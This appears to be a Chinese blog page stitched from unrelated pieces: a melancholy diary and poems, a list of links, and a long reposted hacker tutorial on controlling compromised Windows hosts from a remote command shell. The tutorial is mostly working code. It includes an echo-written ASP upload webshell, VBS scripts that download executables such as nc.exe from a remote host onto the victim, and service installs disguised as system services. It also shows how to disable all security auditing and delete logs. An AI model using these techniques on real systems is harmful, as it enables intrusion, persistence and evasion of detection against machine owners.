世界上有很多和我一样的人，我们只有很少的朋友，我们很孤独，我们很寂寞……

    可我们不需要任何人的怜悯，我们上网、作贱自己，我们不会太去在意别人的目光，像我，只是我自己。

    我让亲人们很失望，可我不想，可……

我很聪明 也很傻， 我知道自己会有一天会后悔，可我只是在走自己的路，一条另别人很费解的路，他们说我误入歧途。看了很多书，从小我就爱看各种书，可什么是对什么又是错？

自己像一片漂泊的叶子，随波逐流好了。

孤单点也好，不会伤害别人，也不会被伤害

自己很想找一个人聊天，可是却没人愿意！早已冰凉的心是不是永远也不能温暖？我注定孤单一个人！也好，就自己好了，想做什么就做什么，没有人来管你又有什么不好？

不要和我讲大道理，我懂！

你没有走到像我一样，所以你才会这样说一些所谓的“懂事的话”。

沦落好了，放纵又有什么不好的呢？

泪，

打灭了渐熄的烟

长廊里只剩我自己

你的笑容

在我的脑海里

随着我的满脸泪水

点点滴滴消逝……

http://q.163.com/school/blog/yinger1999919/50006192200710413410912/#50006192200710413410912

http://www.kissfzl.com/

http://www.ghand.com.cn/index.htm

http://www.KLss.com.cn/ubb/index.htm

http://www.wlqq.net/
http://www.qzone6.com:8080/

http://www.molihe.com/makemolihe.html?union

http://bbs.tt86.com/

对于现在,各种入侵工具已是泛滥,有利有弊,不过我们大家(有些只会用工具而又自称为黑客的)都不应忘记我们本应有的技术.
今天我就来发个贴子,如果看了没什么用的,那就关了,如果看了受益的,就回个贴,也算是一种支持!我还会继续努力~
前言
Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输
对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：
1，用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。
直接给出echo版：
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意，只有一行，中间没有回车符。
生成的up.asp不能用浏览器访问，只能用下面这个脚本：
with wscrīpt
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscrīpt.echo .statustext
end with
将其保存为up.vbs。假设目标IP为123.45.67.89，up.asp在IIS虚拟根目录下，需要上传的文件为nc.exe，上传后保存为mm.exe，相应的命令是：
cscrīpt up.vbs http://123.45.67.89/up.asp  nc.exe mm.exe
注意，这个命令是在本地命令行中执行的，不要弄错了。另外，通过IIS上传会留日志，要记得清除哦。
2，自动下载到网页缓存中。
例如：start its:http://www.sometips.com/soft/ps.exe
在远程shell中执行上面这个命令后，ps.exe已经下载到目标主机的网页缓存目录中了。然后：
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe
于是获得ps.exe的具体位置(每台主机都不一样)，如：
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录
2004-01-24 14:24 49,152 ps[1].exe
1 个文件 49,152 字节
最后：
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe
补充说明：
对于以服务为启动方式的后门所提供的shell，其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System，需要修改Default User为相应的用户名。
本方法会启动一个IE进程，记得要将它杀掉。如果是System身份的shell，不会在本地出现窗口而暴露。
另外，用ms-its代替its效果完全一样。
3，Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版：
@echo with wscrīpt:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
举例--下载ps.exe并保存到c:\path下：
cscrīpt dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意，这是在远程shell中执行的。
4，Echo经过编码的任何文件，再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出"杀手锏"了！
echo命令加重定向操作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位操作，因此编码和解码较复杂。更麻烦的是，脚本以黑客动画吧流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。黑客动画吧数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）
无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果--编码脚本：
fp=wscrīpt.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scrīpting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscrīpt.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscrīpt //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：
cscrīpt echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
............
............（省略若干行）
............
@echo +"">>debug.vbs
@echo with wscrīpt.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscrīpt //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。
如果网速不是很慢的话，整个上传过程大约需要20秒。
几点说明：
1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2，在传输大文件前，可以先传个小的文件作为"热身"，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。
3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。
4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。
能上传文件当然一切都好办了，但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。
系统配置
这节包括三方面内容：注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。
好在系统自带的regedit.exe足够用了。
1，读取注册表
先将想查询的注册表项导出，再用type查看，比如：
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389（十六进制d3d）
2，修改/删除注册表项
先echo一个reg文件，然后导入，比如：
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。
要删除一个项，在名字前面加减号，比如：
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值，在等号后面用减号，比如：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3，用inf文件访问注册表
上面对注册表的三个操作，也可以用下面这个inf文件来实现：
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令"安装"：
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明：
1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息，可以参考DDK帮助文档。
2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。
128表示给定路径，该参数其他取值及含义参见MSDN。
特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。
3，inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。
增加一个服务：
[Version]
Si
gnature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Descrīption=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf，然后：
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。
几点说明：
1，最后四项分别是
服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；
启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。
（注意，0和1只能用于驱动程序）
错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。
服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。
这四项是必须要有的。
2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。
删除一个服务：
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单，不是吗？
当然，你也可以通过导入注册表达到目的。但inf自有其优势。
1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题--不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。
2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。
3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。
另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。
先看secedit命令语法：
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：
假设我要将密码长度最小值设置为6，并启用"密码必须符合复杂性要求"，那么先写这么一个模板：
[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1
保存为gp.inf，然后导入：
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后，将在当前目录产生一个gp.sdb，它是"中间产品"，你可以删除它。
/quiet参数表示"安静模式"，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
另外，在导入模板前，还可以先分析语法是否正确：
secedit /validate gp.inf
那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。
再举个例子--关闭所有的"审核策略"。（它所审核的事件将记录在事件查看器的"安全性"里）。
echo版：
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。
比如，XP和2003的"本地策略"－》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典\"：
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
而相应的用inf，应该是：
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过，这样得到的只是组策略的一部分（即"Windows设置"）。而且，某个策略如果未配置，是不会被导出的。比如"重命名系统管理员帐户"，只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效--可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是"空"。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......
这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。
netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。
netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。
1，TCP/IP配置
echo interface ip >s
echo show config >>s
netsh -f s
del s
由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。
这个命令和ipconfig /all差不多。
注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后
net start remoteaccess
2，ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
这个比arp -a命令多一点信息。
3，TCP/UDP连接
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
这组命令和netstat -an一样。
4，网卡信息
如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就"叫天不应叫地不灵"了），所以全部略过。
IPSec
首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以黑客动画吧形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料，网上可以找到很多，因此本文就不细说了，只是列举一些实用的例子。
在设置IPSec策略方面，ipseccmd命令的语法和ipsecpol几乎完全一样，所以只以ipsecpol为例：
1，防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下：
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f ...... 建立7个筛选器。*表示任何地址(源)；0表示本机地址(目标)；+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选操作是"阻塞"。注意，BLOCK必须是大写。
-w reg 将配置写入注册表，重启后仍有效。
-x 立刻激活该策略。
2，防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在，则antiping规则将添加至其中。
注意，该规则同时也阻止了该主机ping别人。
3，对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出，应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP，应该根据IP分配的范围设置规则。比如：
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候，应该特别小心，不要把自己也阻塞了。如果你不确定某个规则
的效果是否和预想的一样，可以先用计划任务"留下后路"。例如：
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业，其作业 ID = 1
然后，你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想，就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意，删除策略前必须先确保它已停止。不停止它的话，即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间，默认是180分钟。
如果测试通过，那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。
对于XP很简单，一条命令搞定--ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。（已经上传了三个文件，也就不在乎多一个了。^_^）
netdiag需要RemoteRegistry服务的支持。所以先启动该服务：
net start remoteregistry
不启动RemoteRegistry就会得到一个错误：
[FATAL] Failed to get system information of this machine.
netdiag这个工具功能十分强大，与网络有关的信息都可以获取！不过，输出的信息有时过于详细，超过命令行控制台cmd.exe的输出缓存，而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是：
netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。
软件安装
一个软件/工具的安装过程，一般来说只是做两件事：拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容，那么就可以自己在命令行下实现了。（不考虑安装后需要注册激活等情况）
WinPcap是个很常用的工具，但必须在窗口界面下安装。在网上也可以找到不用GUI的版本（但还是有版权页），其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照，很容易了解整个安装过程。
除去反安装的部分，关键的文件有三个：wpcap.dll，packet.dll和npf.sys。前面两个文件位于system32目录下，第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意，是系统服务（即驱动）不是Win32服务。
作为系统服务，不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键，在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是，并不需要手动添加它，winpcap被调用时会自动搞定。甚至完全不用手动修改注册表，所有的事winpcap都会自己完成，只需要将三个文件复制到合适的位置就行了。
作为范例，还是演示一下如何修改注册表：利用前面说过的inf文件来实现。
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat：
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用winrar将所有文件（5个）打包为自解压的exe，并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。
注意，批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装，基本上可以套用这个思路。但也有例外的，那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件，所以用copy命令是不行的。
幸好，Windows补丁包支持命令行安装。
比如：
KB824146.exe -n -z -q
-n 不保留备份
-z 不重起
-q 安静模式
如果有一堆补丁要打，那么用RAR打包成自解压文件，外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1，显示系统版本
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscrīpt.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscrīpt //nologo ps.vbs & del ps.vbs
2，列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscrīpt.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscrīpt //nologo ps.vbs & del ps.vbs
3，终止进程
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscrīpt.arguments(0) then wscrīpt.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程，使用如下语法：
cscrīpt pk.vbs 123
如果显示一个0，表示终止成功。
然后：
del pk.vbs
4，重启系统
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscrīpt //nologo rb.vbs & del rb.vbs
5，列举自启动的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscrīpt.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscrīpt //nologo sc.vbs & del sc.vbs
6，列举正在运行的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscrīpt.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscrīpt //nologo sc.vbs & del sc.vbs
7，显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscrīpt.echo os.lastbootuptime:next >>bt.vbs & cscrīpt //nologo bt.vbs & del bt.vbs
显示结果的格式是：
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区
8，显示系统运行时间
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscrīpt.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscrīpt //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数，不会出现在49.7天后溢出的情况。

天下为公谁主道

孤傲松柏独一人

孤傲寒梅径自开

无奈世人皆欲摘

三九寒天，君相伴，吾心依旧温暖．

